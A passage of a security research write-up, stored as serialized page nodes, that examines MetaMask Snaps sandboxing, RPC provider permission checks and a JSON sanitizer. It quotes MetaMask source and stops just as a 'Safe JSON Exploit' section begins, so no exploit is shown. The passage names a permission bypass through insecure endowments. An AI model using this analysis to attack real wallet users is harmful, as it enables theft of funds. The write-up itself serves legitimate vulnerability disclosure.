{"type":32,"value":14040},{"type":26,"tag":39,"props":128623,"children":128624},{},[128625,128627,128633,128634,128640,128641,128647],{"type":32,"value":128626},"According to the documentation, the snap must contain one of the following function exports: ",{"type":26,"tag":83,"props":128628,"children":128630},{"className":128629},[],[128631],{"type":32,"value":128632},"onRpcRequest",{"type":32,"value":7599},{"type":26,"tag":83,"props":128635,"children":128637},{"className":128636},[],[128638],{"type":32,"value":128639},"onTransaction",{"type":32,"value":9438},{"type":26,"tag":83,"props":128642,"children":128644},{"className":128643},[],[128645],{"type":32,"value":128646},"onCronjob",{"type":32,"value":180},{"type":26,"tag":39,"props":128649,"children":128650},{},[128651,128653,128658],{"type":32,"value":128652},"Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed ",{"type":26,"tag":83,"props":128654,"children":128656},{"className":128655},[],[128657],{"type":32,"value":118441},{"type":32,"value":128659}," environment of that Compartment.",{"type":26,"tag":39,"props":128661,"children":128662},{},[128663],{"type":32,"value":128664},"After the evaluation, the function exports are registered and executed later when the respective event is emmited.",{"type":26,"tag":27,"props":128666,"children":128668},{"id":128667},"vulnerability-research",[128669],{"type":32,"value":128670},"Vulnerability research",{"type":26,"tag":607,"props":128672,"children":128674},{"id":128673},"possible-attacks",[128675],{"type":32,"value":128676},"Possible attacks",{"type":26,"tag":39,"props":128678,"children":128679},{},[128680],{"type":32,"value":128681},"While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:",{"type":26,"tag":2040,"props":128683,"children":128684},{},[128685,128690,128695,128700],{"type":26,"tag":2044,"props":128686,"children":128687},{},[128688],{"type":32,"value":128689},"Broken SES Container isolation",{"type":26,"tag":2044,"props":128691,"children":128692},{},[128693],{"type":32,"value":128694},"Insecure endowments in Containers",{"type":26,"tag":2044,"props":128696,"children":128697},{},[128698],{"type":32,"value":128699},"Incorrect RPC permission checks",{"type":26,"tag":2044,"props":128701,"children":128702},{},[128703],{"type":32,"value":128704},"Insecure snap installation/update",{"type":26,"tag":39,"props":128706,"children":128707},{},[128708],{"type":32,"value":128709},"We went through all of these vulnerabilities assumptions, and found a minor permission bypass bug using insecure endowments.",{"type":26,"tag":39,"props":128711,"children":128712},{},[128713],{"type":32,"value":128714},"To understand the exploit, we need to dig into the snap's RPC interfaces exposed via endowments.",{"type":26,"tag":607,"props":128716,"children":128718},{"id":128717},"rpc-interfaces-endowments",[128719],{"type":32,"value":128720},"RPC interfaces endowments",{"type":26,"tag":631,"props":128722,"children":128724},{"id":128723},"providers-limitations",[128725],{"type":32,"value":128726},"Providers limitations",{"type":26,"tag":39,"props":128728,"children":128729},{},[128730,128732,128738,128739,128744,128746,128753],{"type":32,"value":128731},"A snap has two interfaces that can be used to communicate with metamask RPC interface: ",{"type":26,"tag":83,"props":128733,"children":128735},{"className":128734},[],[128736],{"type":32,"value":128737},"snap",{"type":32,"value":1308},{"type":26,"tag":83,"props":128740,"children":128742},{"className":128741},[],[128743],{"type":32,"value":66866},{"type":32,"value":128745}," (EIP-1193). These differ in that each one can only send a subset of the available RPC ",{"type":26,"tag":163,"props":128747,"children":128750},{"href":128748,"rel":128749},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/utils.ts#L130",[167],[128751],{"type":32,"value":128752},"methods",{"type":32,"value":1473},{"type":26,"tag":207,"props":128755,"children":128757},{"className":12398,"code":128756,"language":12397,"meta":8,"style":8},"export function assertSnapOutboundRequest(args: RequestArguments) {\n  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n  assert(\n    String.prototype.startsWith.call(args.method, 'wallet_') ||\n      String.prototype.startsWith.call(args.method, 'snap_'),\n    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',\n  );\n  assert(\n    !BLOCKED_RPC_METHODS.includes(args.method),\n    ethErrors.rpc.methodNotFound({\n      data: {\n        method: args.method,\n      },\n    }),\n  );\n  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');\n}\n",[128758],{"type":26,"tag":83,"props":128759,"children":128760},{"__ignoreMap":8},[128761,128799,128807,128819,128887,128948,128960,128968,128979,129019,129049,129061,129086,129093,129101,129108,129146],{"type":26,"tag":217,"props":128762,"children":128763},{"class":7028,"line":7029},[128764,128769,128773,128778,128782,128786,128790,128795],{"type":26,"tag":217,"props":128765,"children":128766},{"style":7042},[128767],{"type":32,"value":128768},"export",{"type":26,"tag":217,"props":128770,"children":128771},{"style":7154},[128772],{"type":32,"value":7831},{"type":26,"tag":217,"props":128774,"children":128775},{"style":7064},[128776],{"type":32,"value":128777}," assertSnapOutboundRequest",{"type":26,"tag":217,"props":128779,"children":128780},{"style":7048},[128781],{"type":32,"value":1851},{"type":26,"tag":217,"props":128783,"children":128784},{"style":7054},[128785],{"type":32,"value":25454},{"type":26,"tag":217,"props":128787,"children":128788},{"style":7149},[128789],{"type":32,"value":1473},{"type":26,"tag":217,"props":128791,"children":128792},{"style":7119},[128793],{"type":32,"value":128794}," RequestArguments",{"type":26,"tag":217,"props":128796,"children":128797},{"style":7048},[128798],{"type":32,"value":7618},{"type":26,"tag":217,"props":128800,"children":128801},{"class":7028,"line":6770},[128802],{"type":26,"tag":217,"props":128803,"children":128804},{"style":7033},[128805],{"type":32,"value":128806},"  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.\n",{"type":26,"tag":217,"props":128808,"children":128809},{"class":7028,"line":6779},[128810,128815],{"type":26,"tag":217,"props":128811,"children":128812},{"style":7064},[128813],{"type":32,"value":128814},"  assert",{"type":26,"tag":217,"props":128816,"children":128817},{"style":7048},[128818],{"type":32,"value":10932},{"type":26,"tag":217,"props":128820,"children":128821},{"class":7028,"line":7140},[128822,128827,128831,128836,128840,128845,128849,128853,128857,128861,128865,128869,128873,128878,128882],{"type":26,"tag":217,"props":128823,"children":128824},{"style":7119},[128825],{"type":32,"value":128826},"    String",{"type":26,"tag":217,"props":128828,"children":128829},{"style":7048},[128830],{"type":32,"value":180},{"type":26,"tag":217,"props":128832,"children":128833},{"style":7054},[128834],{"type":32,"value":128835},"prototype",{"type":26,"tag":217,"props":128837,"children":128838},{"style":7048},[128839],{"type":32,"value":180},{"type":26,"tag":217,"props":128841,"children":128842},{"style":7054},[128843],{"type":32,"value":128844},"startsWith",{"type":26,"tag":217,"props":128846,"children":128847},{"style":7048},[128848],{"type":32,"value":180},{"type":26,"tag":217,"props":128850,"children":128851},{"style":7064},[128852],{"type":32,"value":59057},{"type":26,"tag":217,"props":128854,"children":128855},{"style":7048},[128856],{"type":32,"value":1851},{"type":26,"tag":217,"props":128858,"children":128859},{"style":7054},[128860],{"type":32,"value":25454},{"type":26,"tag":217,"props":128862,"children":128863},{"style":7048},[128864],{"type":32,"value":180},{"type":26,"tag":217,"props":128866,"children":128867},{"style":7054},[128868],{"type":32,"value":67751},{"type":26,"tag":217,"props":128870,"children":128871},{"style":7048},[128872],{"type":32,"value":7599},{"type":26,"tag":217,"props":128874,"children":128875},{"style":7338},[128876],{"type":32,"value":128877},"'wallet_'",{"type":26,"tag":217,"props":128879,"children":128880},{"style":7048},[128881],{"type":32,"value":8380},{"type":26,"tag":217,"props":128883,"children":128884},{"style":7149},[128885],{"type":32,"value":128886},"||\n",{"type":26,"tag":217,"props":128888,"children":128889},{"class":7028,"line":7165},[128890,128895,128899,128903,128907,128911,128915,128919,128923,128927,128931,128935,128939,128944],{"type":26,"tag":217,"props":128891,"children":128892},{"style":7119},[128893],{"type":32,"value":128894},"      String",{"type":26,"tag":217,"props":128896,"children":128897},{"style":7048},[128898],{"type":32,"value":180},{"type":26,"tag":217,"props":128900,"children":128901},{"style":7054},[128902],{"type":32,"value":128835},{"type":26,"tag":217,"props":128904,"children":128905},{"style":7048},[128906],{"type":32,"value":180},{"type":26,"tag":217,"props":128908,"children":128909},{"style":7054},[128910],{"type":32,"value":128844},{"type":26,"tag":217,"props":128912,"children":128913},{"style":7048},[128914],{"type":32,"value":180},{"type":26,"tag":217,"props":128916,"children":128917},{"style":7064},[128918],{"type":32,"value":59057},{"type":26,"tag":217,"props":128920,"children":128921},{"style":7048},[128922],{"type":32,"value":1851},{"type":26,"tag":217,"props":128924,"children":128925},{"style":7054},[128926],{"type":32,"value":25454},{"type":26,"tag":217,"props":128928,"children":128929},{"style":7048},[128930],{"type":32,"value":180},{"type":26,"tag":217,"props":128932,"children":128933},{"style":7054},[128934],{"type":32,"value":67751},{"type":26,"tag":217,"props":128936,"children":128937},{"style":7048},[128938],{"type":32,"value":7599},{"type":26,"tag":217,"props":128940,"children":128941},{"style":7338},[128942],{"type":32,"value":128943},"'snap_'",{"type":26,"tag":217,"props":128945,"children":128946},{"style":7048},[128947],{"type":32,"value":13841},{"type":26,"tag":217,"props":128949,"children":128950},{"class":7028,"line":7178},[128951,128956],{"type":26,"tag":217,"props":128952,"children":128953},{"style":7338},[128954],{"type":32,"value":128955},"    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.'",{"type":26,"tag":217,"props":128957,"children":128958},{"style":7048},[128959],{"type":32,"value":10953},{"type":26,"tag":217,"props":128961,"children":128962},{"class":7028,"line":7389},[128963],{"type":26,"tag":217,"props":128964,"children":128965},{"style":7048},[128966],{"type":32,"value":128967},"  );\n",{"type":26,"tag":217,"props":128969,"children":128970},{"class":7028,"line":7406},[128971,128975],{"type":26,"tag":217,"props":128972,"children":128973},{"style":7064},[128974],{"type":32,"value":128814},{"type":26,"tag":217,"props":128976,"children":128977},{"style":7048},[128978],{"type":32,"value":10932},{"type":26,"tag":217,"props":128980,"children":128981},{"class":7028,"line":7439},[128982,128986,128991,128995,128999,129003,129007,129011,129015],{"type":26,"tag":217,"props":128983,"children":128984},{"style":7149},[128985],{"type":32,"value":93123},{"type":26,"tag":217,"props":128987,"children":128988},{"style":7054},[128989],{"type":32,"value":128990},"BLOCKED_RPC_METHODS",{"type":26,"tag":217,"props":128992,"children":128993},{"style":7048},[128994],{"type":32,"value":180},{"type":26,"tag":217,"props":128996,"children":128997},{"style":7064},[128998],{"type":32,"value":67342},{"type":26,"tag":217,"props":129000,"children":129001},{"style":7048},[129002],{"type":32,"value":1851},{"type":26,"tag":217,"props":129004,"children":129005},{"style":7054},[129006],{"type":32,"value":25454},{"type":26,"tag":217,"props":129008,"children":129009},{"style":7048},[129010],{"type":32,"value":180},{"type":26,"tag":217,"props":129012,"children":129013},{"style":7054},[129014],{"type":32,"value":67751},{"type":26,"tag":217,"props":129016,"children":129017},{"style":7048},[129018],{"type":32,"value":13841},{"type":26,"tag":217,"props":129020,"children":129021},{"class":7028,"line":7487},[129022,129027,129031,129036,129040,129045],{"type":26,"tag":217,"props":129023,"children":129024},{"style":7054},[129025],{"type":32,"value":129026},"    ethErrors",{"type":26,"tag":217,"props":129028,"children":129029},{"style":7048},[129030],{"type":32,"value":180},{"type":26,"tag":217,"props":129032,"children":129033},{"style":7054},[129034],{"type":32,"value":129035},"rpc",{"type":26,"tag":217,"props":129037,"children":129038},{"style":7048},[129039],{"type":32,"value":180},{"type":26,"tag":217,"props":129041,"children":129042},{"style":7064},[129043],{"type":32,"value":129044},"methodNotFound",{"type":26,"tag":217,"props":129046,"children":129047},{"style":7048},[129048],{"type":32,"value":13500},{"type":26,"tag":217,"props":129050,"children":129051},{"class":7028,"line":7524},[129052,129057],{"type":26,"tag":217,"props":129053,"children":129054},{"style":7054},[129055],{"type":32,"value":129056},"      data:",{"type":26,"tag":217,"props":129058,"children":129059},{"style":7048},[129060],{"type":32,"value":8064},{"type":26,"tag":217,"props":129062,"children":129063},{"class":7028,"line":7553},[129064,129069,129074,129078,129082],{"type":26,"tag":217,"props":129065,"children":129066},{"style":7054},[129067],{"type":32,"value":129068},"        method:",{"type":26,"tag":217,"props":129070,"children":129071},{"style":7054},[129072],{"type":32,"value":129073}," args",{"type":26,"tag":217,"props":129075,"children":129076},{"style":7048},[129077],{"type":32,"value":180},{"type":26,"tag":217,"props":129079,"children":129080},{"style":7054},[129081],{"type":32,"value":67751},{"type":26,"tag":217,"props":129083,"children":129084},{"style":7048},[129085],{"type":32,"value":10953},{"type":26,"tag":217,"props":129087,"children":129088},{"class":7028,"line":7570},[129089],{"type":26,"tag":217,"props":129090,"children":129091},{"style":7048},[129092],{"type":32,"value":16071},{"type":26,"tag":217,"props":129094,"children":129095},{"class":7028,"line":7621},[129096],{"type":26,"tag":217,"props":129097,"children":129098},{"style":7048},[129099],{"type":32,"value":129100},"    }),\n",{"type":26,"tag":217,"props":129102,"children":129103},{"class":7028,"line":7672},[129104],{"type":26,"tag":217,"props":129105,"children":129106},{"style":7048},[129107],{"type":32,"value":128967},{"type":26,"tag":217,"props":129109,"children":129110},{"class":7028,"line":7681},[129111,129116,129120,129124,129128,129133,129137,129142],{"type":26,"tag":217,"props":129112,"children":129113},{"style":7064},[129114],{"type":32,"value":129115},"  assertStruct",{"type":26,"tag":217,"props":129117,"children":129118},{"style":7048},[129119],{"type":32,"value":1851},{"type":26,"tag":217,"props":129121,"children":129122},{"style":7054},[129123],{"type":32,"value":25454},{"type":26,"tag":217,"props":129125,"children":129126},{"style":7048},[129127],{"type":32,"value":7599},{"type":26,"tag":217,"props":129129,"children":129130},{"style":7054},[129131],{"type":32,"value":129132},"JsonStruct",{"type":26,"tag":217,"props":129134,"children":129135},{"style":7048},[129136],{"type":32,"value":7599},{"type":26,"tag":217,"props":129138,"children":129139},{"style":7338},[129140],{"type":32,"value":129141},"'Provided value is not JSON-RPC compatible'",{"type":26,"tag":217,"props":129143,"children":129144},{"style":7048},[129145],{"type":32,"value":7669},{"type":26,"tag":217,"props":129147,"children":129148},{"class":7028,"line":7754},[129149],{"type":26,"tag":217,"props":129150,"children":129151},{"style":7048},[129152],{"type":32,"value":7184},{"type":26,"tag":39,"props":129154,"children":129155},{},[129156,129158,129163,129165,129171,129172,129178],{"type":32,"value":129157},"This function is called by the ",{"type":26,"tag":83,"props":129159,"children":129161},{"className":129160},[],[129162],{"type":32,"value":128737},{"type":32,"value":129164}," RPC provider, so it can only send methods starting with ",{"type":26,"tag":83,"props":129166,"children":129168},{"className":129167},[],[129169],{"type":32,"value":129170},"wallet_",{"type":32,"value":9438},{"type":26,"tag":83,"props":129173,"children":129175},{"className":129174},[],[129176],{"type":32,"value":129177},"snap_",{"type":32,"value":129179},". In addition, there are some blocked RPC methods that immediately throw an error when encountered.",{"type":26,"tag":39,"props":129181,"children":129182},{},[129183,129185,129190,129192,129197,129199,129205],{"type":32,"value":129184},"On the other hand, the ",{"type":26,"tag":83,"props":129186,"children":129188},{"className":129187},[],[129189],{"type":32,"value":66866},{"type":32,"value":129191}," provider only blocks methods starting with ",{"type":26,"tag":83,"props":129193,"children":129195},{"className":129194},[],[129196],{"type":32,"value":129177},{"type":32,"value":129198}," and the blocked methods. However, it requires the ",{"type":26,"tag":83,"props":129200,"children":129202},{"className":129201},[],[129203],{"type":32,"value":129204},"endowment:ethereum-provider",{"type":32,"value":129206}," permission in the snap manifest.",{"type":26,"tag":631,"props":129208,"children":129210},{"id":129209},"execution-flow",[129211],{"type":32,"value":129212},"Execution flow",{"type":26,"tag":39,"props":129214,"children":129215},{},[129216,129218,129223,129224,129229,129231,129236,129237,129243],{"type":32,"value":129217},"Both providers (",{"type":26,"tag":83,"props":129219,"children":129221},{"className":129220},[],[129222],{"type":32,"value":128737},{"type":32,"value":1308},{"type":26,"tag":83,"props":129225,"children":129227},{"className":129226},[],[129228],{"type":32,"value":66866},{"type":32,"value":129230},") are built outside the SES container with a ",{"type":26,"tag":83,"props":129232,"children":129234},{"className":129233},[],[129235],{"type":32,"value":66875},{"type":32,"value":19795},{"type":26,"tag":163,"props":129238,"children":129241},{"href":129239,"rel":129240},"https://github.com/MetaMask/snaps/blob/main/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L437",[167],[129242],{"type":32,"value":7604},{"type":32,"value":1473},{"type":26,"tag":207,"props":129245,"children":129247},{"className":98094,"code":129246,"language":98096,"meta":8,"style":8},"  const request = async (args: RequestArguments) => {\n      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);\n      const sanitizedArgs = getSafeJson(args);\n      this.notify({ method: 'OutboundRequest' });\n      try {\n        return await withTeardown(\n          originalRequest(sanitizedArgs as unknown as RequestArguments),\n          this as any,\n        );\n      } finally {\n        this.notify({ method: 'OutboundResponse' });\n      }\n    };\n",[129248],{"type":26,"tag":83,"props":129249,"children":129250},{"__ignoreMap":8},[129251,129299,129325,129358,129393,129405,129425,129463,129484,129491,129507,129540,129547],{"type":26,"tag":217,"props":129252,"children":129253},{"class":7028,"line":7029},[129254,129258,129263,129267,129271,129275,129279,129283,129287,129291,129295],{"type":26,"tag":217,"props":129255,"children":129256},{"style":7154},[129257],{"type":32,"value":26650},{"type":26,"tag":217,"props":129259,"children":129260},{"style":7064},[129261],{"type":32,"value":129262}," request",{"type":26,"tag":217,"props":129264,"children":129265},{"style":7149},[129266],{"type":32,"value":8993},{"type":26,"tag":217,"props":129268,"children":129269},{"style":7154},[129270],{"type":32,"value":67161},{"type":26,"tag":217,"props":129272,"children":129273},{"style":7048},[129274],{"type":32,"value":7051},{"type":26,"tag":217,"props":129276,"children":129277},{"style":7054},[129278],{"type":32,"value":25454},{"type":26,"tag":217,"props":129280,"children":129281},{"style":7149},[129282],{"type":32,"value":1473},{"type":26,"tag":217,"props":129284,"children":129285},{"style":7119},[129286],{"type":32,"value":128794},{"type":26,"tag":217,"props":129288,"children":129289},{"style":7048},[129290],{"type":32,"value":8380},{"type":26,"tag":217,"props":129292,"children":129293},{"style":7154},[129294],{"type":32,"value":8059},{"type":26,"tag":217,"props":129296,"children":129297},{"style":7048},[129298],{"type":32,"value":8064},{"type":26,"tag":217,"props":129300,"children":129301},{"class":7028,"line":6770},[129302,129307,129311,129315,129320],{"type":26,"tag":217,"props":129303,"children":129304},{"style":7064},[129305],{"type":32,"value":129306},"      assertSnapOutboundRequest",{"type":26,"tag":217,"props":129308,"children":129309},{"style":7048},[129310],{"type":32,"value":1851},{"type":26,"tag":217,"props":129312,"children":129313},{"style":7054},[129314],{"type":32,"value":25454},{"type":26,"tag":217,"props":129316,"children":129317},{"style":7048},[129318],{"type":32,"value":129319},"); ",{"type":26,"tag":217,"props":129321,"children":129322},{"style":7033},[129323],{"type":32,"value":129324},"// or assertEthereumOutboundRequest(args);\n",{"type":26,"tag":217,"props":129326,"children":129327},{"class":7028,"line":6779},[129328,129332,129337,129341,129346,129350,129354],{"type":26,"tag":217,"props":129329,"children":129330},{"style":7154},[129331],{"type":32,"value":68214},{"type":26,"tag":217,"props":129333,"children":129334},{"style":7054},[129335],{"type":32,"value":129336}," sanitizedArgs",{"type":26,"tag":217,"props":129338,"children":129339},{"style":7149},[129340],{"type":32,"value":8993},{"type":26,"tag":217,"props":129342,"children":129343},{"style":7064},[129344],{"type":32,"value":129345}," getSafeJson",{"type":26,"tag":217,"props":129347,"children":129348},{"style":7048},[129349],{"type":32,"value":1851},{"type":26,"tag":217,"props":129351,"children":129352},{"style":7054},[129353],{"type":32,"value":25454},{"type":26,"tag":217,"props":129355,"children":129356},{"style":7048},[129357],{"type":32,"value":7669},{"type":26,"tag":217,"props":129359,"children":129360},{"class":7028,"line":7140},[129361,129366,129370,129375,129379,129384,129389],{"type":26,"tag":217,"props":129362,"children":129363},{"style":7154},[129364],{"type":32,"value":129365},"      this",{"type":26,"tag":217,"props":129367,"children":129368},{"style":7048},[129369],{"type":32,"value":180},{"type":26,"tag":217,"props":129371,"children":129372},{"style":7064},[129373],{"type":32,"value":129374},"notify",{"type":26,"tag":217,"props":129376,"children":129377},{"style":7048},[129378],{"type":32,"value":7892},{"type":26,"tag":217,"props":129380,"children":129381},{"style":7054},[129382],{"type":32,"value":129383},"method:",{"type":26,"tag":217,"props":129385,"children":129386},{"style":7338},[129387],{"type":32,"value":129388}," 'OutboundRequest'",{"type":26,"tag":217,"props":129390,"children":129391},{"style":7048},[129392],{"type":32,"value":7907},{"type":26,"tag":217,"props":129394,"children":129395},{"class":7028,"line":7165},[129396,129401],{"type":26,"tag":217,"props":129397,"children":129398},{"style":7042},[129399],{"type":32,"value":129400},"      try",{"type":26,"tag":217,"props":129402,"children":129403},{"style":7048},[129404],{"type":32,"value":8064},{"type":26,"tag":217,"props":129406,"children":129407},{"class":7028,"line":7178},[129408,129412,129416,129421],{"type":26,"tag":217,"props":129409,"children":129410},{"style":7042},[129411],{"type":32,"value":9737},{"type":26,"tag":217,"props":129413,"children":129414},{"style":7042},[129415],{"type":32,"value":13803},{"type":26,"tag":217,"props":129417,"children":129418},{"style":7064},[129419],{"type":32,"value":129420}," withTeardown",{"type":26,"tag":217,"props":129422,"children":129423},{"style":7048},[129424],{"type":32,"value":10932},{"type":26,"tag":217,"props":129426,"children":129427},{"class":7028,"line":7389},[129428,129433,129437,129442,129446,129451,129455,129459],{"type":26,"tag":217,"props":129429,"children":129430},{"style":7064},[129431],{"type":32,"value":129432},"          originalRequest",{"type":26,"tag":217,"props":129434,"children":129435},{"style":7048},[129436],{"type":32,"value":1851},{"type":26,"tag":217,"props":129438,"children":129439},{"style":7054},[129440],{"type":32,"value":129441},"sanitizedArgs",{"type":26,"tag":217,"props":129443,"children":129444},{"style":7042},[129445],{"type":32,"value":97268},{"type":26,"tag":217,"props":129447,"children":129448},{"style":7119},[129449],{"type":32,"value":129450}," unknown",{"type":26,"tag":217,"props":129452,"children":129453},{"style":7042},[129454],{"type":32,"value":97268},{"type":26,"tag":217,"props":129456,"children":129457},{"style":7119},[129458],{"type":32,"value":128794},{"type":26,"tag":217,"props":129460,"children":129461},{"style":7048},[129462],{"type":32,"value":13841},{"type":26,"tag":217,"props":129464,"children":129465},{"class":7028,"line":7406},[129466,129471,129475,129480],{"type":26,"tag":217,"props":129467,"children":129468},{"style":7154},[129469],{"type":32,"value":129470},"          this",{"type":26,"tag":217,"props":129472,"children":129473},{"style":7042},[129474],{"type":32,"value":97268},{"type":26,"tag":217,"props":129476,"children":129477},{"style":7119},[129478],{"type":32,"value":129479}," any",{"type":26,"tag":217,"props":129481,"children":129482},{"style":7048},[129483],{"type":32,"value":10953},{"type":26,"tag":217,"props":129485,"children":129486},{"class":7028,"line":7439},[129487],{"type":26,"tag":217,"props":129488,"children":129489},{"style":7048},[129490],{"type":32,"value":63576},{"type":26,"tag":217,"props":129492,"children":129493},{"class":7028,"line":7487},[129494,129498,129503],{"type":26,"tag":217,"props":129495,"children":129496},{"style":7048},[129497],{"type":32,"value":68343},{"type":26,"tag":217,"props":129499,"children":129500},{"style":7042},[129501],{"type":32,"value":129502},"finally",{"type":26,"tag":217,"props":129504,"children":129505},{"style":7048},[129506],{"type":32,"value":8064},{"type":26,"tag":217,"props":129508,"children":129509},{"class":7028,"line":7524},[129510,129515,129519,129523,129527,129531,129536],{"type":26,"tag":217,"props":129511,"children":129512},{"style":7154},[129513],{"type":32,"value":129514},"        this",{"type":26,"tag":217,"props":129516,"children":129517},{"style":7048},[129518],{"type":32,"value":180},{"type":26,"tag":217,"props":129520,"children":129521},{"style":7064},[129522],{"type":32,"value":129374},{"type":26,"tag":217,"props":129524,"children":129525},{"style":7048},[129526],{"type":32,"value":7892},{"type":26,"tag":217,"props":129528,"children":129529},{"style":7054},[129530],{"type":32,"value":129383},{"type":26,"tag":217,"props":129532,"children":129533},{"style":7338},[129534],{"type":32,"value":129535}," 'OutboundResponse'",{"type":26,"tag":217,"props":129537,"children":129538},{"style":7048},[129539],{"type":32,"value":7907},{"type":26,"tag":217,"props":129541,"children":129542},{"class":7028,"line":7553},[129543],{"type":26,"tag":217,"props":129544,"children":129545},{"style":7048},[129546],{"type":32,"value":9210},{"type":26,"tag":217,"props":129548,"children":129549},{"class":7028,"line":7570},[129550],{"type":26,"tag":217,"props":129551,"children":129552},{"style":7048},[129553],{"type":32,"value":12298},{"type":26,"tag":39,"props":129555,"children":129556},{},[129557,129559,129564,129566,129571],{"type":32,"value":129558},"In particular, this function is from the ",{"type":26,"tag":83,"props":129560,"children":129562},{"className":129561},[],[129563],{"type":32,"value":128737},{"type":32,"value":129565}," provider, but the only thing that changes between this and ",{"type":26,"tag":83,"props":129567,"children":129569},{"className":129568},[],[129570],{"type":32,"value":66866},{"type":32,"value":129572}," is the assert function in the first line.",{"type":26,"tag":39,"props":129574,"children":129575},{},[129576],{"type":32,"value":129577},"As we can see in the code, the execution flow follows this pattern:",{"type":26,"tag":6712,"props":129579,"children":129580},{},[129581,129593,129598],{"type":26,"tag":2044,"props":129582,"children":129583},{},[129584,129586,129591],{"type":32,"value":129585},"Assert if ",{"type":26,"tag":83,"props":129587,"children":129589},{"className":129588},[],[129590],{"type":32,"value":25454},{"type":32,"value":129592}," are valid",{"type":26,"tag":2044,"props":129594,"children":129595},{},[129596],{"type":32,"value":129597},"getSafeJson to get sanitizedArgs",{"type":26,"tag":2044,"props":129599,"children":129600},{},[129601],{"type":32,"value":129602},"originalRequest(sanitizedArgs)",{"type":26,"tag":39,"props":129604,"children":129605},{},[129606,129608,129614],{"type":32,"value":129607},"Obs: ",{"type":26,"tag":83,"props":129609,"children":129611},{"className":129610},[],[129612],{"type":32,"value":129613},"originalRequest",{"type":32,"value":129615}," makes the RPC call to metamask service worker",{"type":26,"tag":607,"props":129617,"children":129619},{"id":129618},"safe-json-exploit",[129620],{"type":32,"value":129621},"Safe JSON Exploit",{"type":26,"tag":39,"props":129623,"children":129624},{},[129625,129627,129633,129635,129640,129642,129648],{"type":32,"value":129626},"As we dug further into the",{"type":26,"tag":83,"props":129628,"children":129630},{"className":129629},[],[129631],{"type":32,"value":129632},"getSafeJson",{"type":32,"value":129634}," function (defined in ",{"type":26,"tag":83,"props":129636,"children":129638},{"className":129637},[],[129639],{"type":32,"value":127866},{"type":32,"value":129641}," package) we discovered the following ",{"type":26,"tag":163,"props":129643,"children":129646},{"href":129644,"rel":129645},"https://github.com/MetaMask/utils/blob/7f0116d4d853d85319d200c503a2f9abc390f1d3/src/json.ts#L72",[167],[129647],{"type":32,"value":83},{"type":32,"value":1473},{"type":26,"tag":207,"props":129650,"children":129652},{"className":12398,"code":129651,"language":12397,"meta":8,"style":8},"export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {\n  assertStruct(value, UnsafeJsonStruct);\n  return JSON.parse(\n    JSON.stringify(value, (propKey, propValue) => {\n      // Strip __proto__ and constructor properties to prevent prototype pollution.\n      if (propKey === '__proto__' || propKey === 'constructor') {\n        return undefined;\n      }\n      return propValue;\n    }),\n  );\n});\n",[129653],{"type":26,"tag":83,"props":129654,"children":129655},{"__ignoreMap":8},[129656,129720,129747,129770,129825,129833,129879,129894,129901,129917,129924,129931],{"type":26,"tag":217,"props":129657,"children":129658},{"class":7028,"line":7029},[129659,129663,129667,129672,129676,129681,129685,129690,129694,129699,129704,129708,129712,129716],{"type":26,"tag":217,"props":129660,"children":129661},{"style":7042},[129662],{"type":32,"value":128768},{"type":26,"tag":217,"props":129664,"children":129665},{"style":7154},[129666],{"type":32,"value":97096},{"type":26,"tag":217,"props":129668,"children":129669},{"style":7054},[129670],{"type":32,"value":129671}," JsonStruct",{"type":26,"tag":217,"props":129673,"children":129674},{"style":7149},[129675],{"type":32,"value":8993},{"type":26,"tag":217,"props":129677,"children":129678},{"style":7064},[129679],{"type":32,"value":129680}," coerce",{"type":26,"tag":217,"props":129682,"children":129683},{"style":7048},[129684],{"type":32,"value":1851},{"type":26,"tag":217,"props":129686,"children":129687},{"style":7054},[129688],{"type":32,"value":129689},"UnsafeJsonStruct",{"type":26,"tag":217,"props":129691,"children":129692},{"style":7048},[129693],{"type":32,"value":7599},{"type":26,"tag":217,"props":129695,"children":129696},{"style":7064},[129697],{"type":32,"value":129698},"any",{"type":26,"tag":217,"props":129700,"children":129701},{"style":7048},[129702],{"type":32,"value":129703},"(), (",{"type":26,"tag":217,"props":129705,"children":129706},{"style":7054},[129707],{"type":32,"value":15127},{"type":26,"tag":217,"props":129709,"children":129710},{"style":7048},[129711],{"type":32,"value":8380},{"type":26,"tag":217,"props":129713,"children":129714},{"style":7154},[129715],{"type":32,"value":8059},{"type":26,"tag":217,"props":129717,"children":129718},{"style":7048},[129719],{"type":32,"value":8064},{"type":26,"tag":217,"props":129721,"children":129722},{"class":7028,"line":6770},[129723,129727,129731,129735,129739,129743],{"type":26,"tag":217,"props":129724,"children":129725},{"style":7064},[129726],{"type":32,"value":129115},{"type":26,"tag":217,"props":129728,"children":129729},{"style":7048},[129730],{"type":32,"value":1851},{"type":26,"tag":217,"props":129732,"children":129733},{"style":7054},[129734],{"type":32,"value":15127},{"type":26,"tag":217,"props":129736,"children":129737},{"style":7048},[129738],{"type":32,"value":7599},{"type":26,"tag":217,"props":129740,"children":129741},{"style":7054},[129742],{"type":32,"value":129689},{"type":26,"tag":217,"props":129744,"children":129745},{"style":7048},[129746],{"type":32,"value":7669},{"type":26,"tag":217,"props":129748,"children":129749},{"class":7028,"line":6779},[129750,129754,129758,129762,129766],{"type":26,"tag":217,"props":129751,"children":129752},{"style":7042},[129753],{"type":32,"value":67696},{"type":26,"tag":217,"props":129755,"children":129756},{"style":7054},[129757],{"type":32,"value":67547},{"type":26,"tag":217,"props":129759,"children":129760},{"style":7048},[129761],{"type":32,"value":180},{"type":26,"tag":217,"props":129763,"children":129764},{"style":7064},[129765],{"type":32,"value":65079},{"type":26,"tag":217,"props":129767,"children":129768},{"style":7048},[129769],{"type":32,"value":10932},{"type":26,"tag":217,"props":129771,"children":129772},{"class":7028,"line":7140},[129773,129778,129782,129786,129790,129794,129799,129804,129808,129813,129817,129821],{"type":26,"tag":217,"props":129774,"children":129775},{"style":7054},[129776],{"type":32,"value":129777},"    